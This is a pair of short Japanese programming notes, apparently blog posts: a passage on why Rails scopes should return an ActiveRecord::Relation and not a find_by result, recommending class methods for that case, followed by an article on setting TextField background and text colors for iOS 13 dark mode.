```ruby
User.foo.where(baz: baz)
```
のようにチェインすることを考えると、たしかに `nil` で返ると困りますね。

# じゃぁ find_by すべきではないんじゃ？
`find_by` して得られるのはそのモデルクラスのインスタンス（または`nil`）なので、「`scope` は `ActiveRecord::Relation` を返すもの」というルールにもそぐわないですね。

そもそも `where` でチェインさせて使うものであることを考えると `find_by` の結果を返すのはダメでしょう。

# それでも find_by したい
そういうときはクラスメソッドを使いましょう。

```ruby
def self.foo(bar)
  self.find_by(bar: bar)
end
```
きちんと理解して scope とクラスメソッドを使い分けたいですね。
iOS13以降プレースホルダー内の背景はダークモードを考慮して実装しなければならない説

## はじめに
TextFieldのプレースホルダー内に’ここに入力’的なヒントを付け加えたい。

## 結論
iOS13以降、ダークモードが搭載された端末において、プレースホルダー内の文字色を明示的に設定することはあまりよろしくない。というのも、ユーザーがライトモードとダークモードの設定を変更するとTextFieldの背景が動的に変化する。そのため、それに応じてテキストの色が変化する実装をしなければならない。
## 詳細
1. ViewDidLoadなど描画を担当するメソッドに以下コードを記載する
```swift:Swift
override func viewDidLoad() {
    super.viewDidLoad()
    //メインの背景の上に重ねられるコンテンツの色。
    textField.backgroundColor = .secondarySystemBackground
    textField.textColor = .label
}
```

## おわりに
iOS13以前も対応しているアプリを開発している場合、#availableなどでiOS13以降と以前の処理を分けて使えば、この辺りは上手く実装できるではないだろうか。iOS13以前の場合は、各々背景と文字の実装はする必要ありだが。

## 参考記事
[Apple公式placeholderTextについて](https://developer.apple.com/documentation/uikit/uicolor/3173134-placeholdertext)

## 開発環境
- Xcode-13.4.1
- iOS13以降